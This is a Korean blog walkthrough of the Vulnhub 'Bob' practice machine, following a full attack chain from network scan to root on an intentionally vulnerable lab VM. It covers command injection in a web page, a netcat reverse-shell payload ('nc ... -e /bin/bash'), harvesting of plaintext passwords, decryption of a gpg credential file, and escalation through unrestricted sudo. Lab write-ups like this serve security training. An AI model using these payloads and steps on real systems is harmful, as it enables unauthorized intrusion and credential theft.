Vulnhub

[Vulnhub] Bob Walkthrough

jeff_kim 2024. 7. 25. 18:06

https://www.vulnhub.com/entry/bob-101,226/

 

Bob: 1.0.1

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

 

Reconnaissance

Discovery

└─$ sudo nmap -sn 172.16.1.0/24                                              
Nmap scan report for 172.16.1.7
Host is up (0.00023s latency).
MAC Address: 00:0C:29:55:7C:E3 (VMware)

SSH 접속 시도 후에 웹에서 정보 수집 하겠습니다

 

 

 

WEB

milburg 고등학교 웹 사이트 입니다

/contact.html에서 얻을 수 있는 정보는 계정 정보로 쓰일만한 이름, 휴대폰 번호, 그리고 email 까지 개인정보를 획득 할 수 있습니다

curl를 이용해서 소스코드를 가져온 다음 이름 정보를 파싱해보겠습니다

└─$ └─$ curl http://172.16.1.7/contact.html > contact.html 
└─$ cat contact.html | grep -i '<h5>' | cut -d '>' -f 2 | cut -d '<' -f 1 | tr -d ' '
DeanMacDuffy
PaulK
DanielR
AlexF
RobertJ
BobJ
SebastianW
ElliotA
JospehC

이정도 하면 될 거같습니다

 

/robots.txt 입니다 

하나씩 확인해보죠

RCE가 가능할 까요?

가능하네요!

위와 같은 명령어 주입 시 출력 결과입니다

/etc/passwd 파일을 출력했는데, cat은 사용불가, more로 파일을 확인했습니다

여기서 접속 할 수 있는 유저 한번 찾아보겠습니다

DeanMacDuffy
PaulK
DanielR
AlexF
RobertJ
BobJ:bob
SebastianW:seb
ElliotA:elliot
JospehC
=====================
# new username
c0rruptedb1t
jc

 

계속 정보 수집 진행합니다

 

이미 RCE 취약점을 발견했습니다

콜론을 사용하면 정상적인 출력이 되지 않지만 파이프라인이나, && 등을 사용한다면 명령어를 이어서 사용이 가능합니다

 

Exploitation

RCE 취약점을 이용해 리버스쉘 페이로드를 삽입하여 대상 호스트로부터 쉘을 획득하겠습니다

# listening
nc -nlvp 7777

# payload
id | nc 172.16.1.6 7777 -e /bin/bash

jc:Qwerty
seb:T1tanium_Pa$$word_Hack3rs_Fear_M3
www-data@Milburg-High:/home/bob/Documents$ cat staff.txt 
Seb:

Seems to like Elliot
Wants to do well at his job
Gave me a backdoored FTP to instal that apparently Elliot gave him

James:

Does nothing
Pretty Lazy
Doesn't give a shit about his job

Elliot:

Keeps to himself
Always needs to challenge everything I do
Keep an eye on him
Try and get him fired

www-data@Milburg-High:/home/bob/Documents$ ls
Secret  login.txt.gpg  staff.txt
www-data@Milburg-High:/home/bob/Documents$ cd Secret/
www-data@Milburg-High:/home/bob/Documents/Secret$ ls
Keep_Out
www-data@Milburg-High:/home/bob/Documents/Secret$ cd Keep_Out/
www-data@Milburg-High:/home/bob/Documents/Secret/Keep_Out$ ls
Not_Porn  Porn
www-data@Milburg-High:/home/bob/Documents/Secret/Keep_Out$ cd Not_Porn/
www-data@Milburg-High:/home/bob/Documents/Secret/Keep_Out/Not_Porn$ ls
No_Lookie_In_Here
<nts/Secret/Keep_Out/Not_Porn$ cd No_Lookie_In_Here/                    
<uments/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here$ ls
notes.sh
<uments/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here$ cat notes.sh 
#!/bin/bash
clear
echo "-= Notes =-"
echo "Harry Potter is my faviorite"
echo "Are you the real me?"
echo "Right, I'm ordering pizza this is going nowhere"
echo "People just don't get me"
echo "Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh <sea santy here>"
echo "Cucumber"
echo "Rest now your eyes are sleepy"
echo "Are you gonna stop reading this yet?"
echo "Time to fix the server"
echo "Everyone is annoying"
echo "Sticky notes gotta buy em"

디렉터리를 파고파고 들다가 notes.sh를 발견했습니다

첫 글자 대문자만 파싱을 해보겠습니다

cat notes.sh  | grep 'echo' | cut -d '"' -f 2 | cut -c 1 | paste -s -d ''
-HARPOCRATES

HARPOCRATES이 되겠습니다

그리고 gpg 파일이 하나 있었는데 여기서 활용을 해보겠습니다

근데 현 유저에서는 권한이 없어서 불가능하니 이전에 획득했던 계정 정보로 로그인해서 시도해보겠습니다

www-data@Milburg-High:/home/bob/Documents$ su jc
Password: 
jc@Milburg-High:/home/bob/Documents$ ls
login.txt.gpg  Secret  staff.txt
jc@Milburg-High:/home/bob/Documents$ gpg
gpg: keybox '/home/jc/.gnupg/pubring.kbx' created
gpg: WARNING: no command supplied.  Trying to guess what you mean ...
gpg: Go ahead and type your message ...
^C
gpg: signal Interrupt caught ... exiting

<ocuments$ gpg --batch --passphrase HARPOCRATES -d login.txt.gpg             
gpg: AES encrypted data
gpg: encrypted with 1 passphrase
bob:b0bcat_




# bob Credentials
bob:b0bcat_

sudo 가 가능한 유저입니다

 

Privilege Escalation

bob@Milburg-High:~$ sudo -l

\
sudo: unable to resolve host Milburg-High: Connection timed out
[sudo] password for bob: 
Sorry, try again.
[sudo] password for bob: 
Matching Defaults entries for bob on Milburg-High:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User bob may run the following commands on Milburg-High:
    (ALL : ALL) ALL

sudo -l에 대한 출력이 오래걸리네요,,

root@Milburg-High:/# cat flag.txt 
CONGRATS ON GAINING ROOT

        .-.
       (   )
        |~|       _.--._
        |~|~:'--~'      |
        | | :   #root   |
        | | :     _.--._|
        |~|~`'--~'
        | |
        | |
        | |
        | |
        | |
        | |
        | |
        | |
        | |
   _____|_|_________ Thanks for playing ~c0rruptedb1t

'Vulnhub' 카테고리의 다른 글

[Vulnhub] NullByte Walkthrough  (3) 2024.07.24
[Vulnhub] Breach: 2 Walkthrough  (4) 2024.07.23
[Vulnhub] Brearch Walkthrough  (6) 2024.07.22
[Vulnhub] Tommy Boy Walkthrough  (4) 2024.07.17
[Vulnhub] RickdiculouslyEasy Walkthrough  (1) 2024.07.16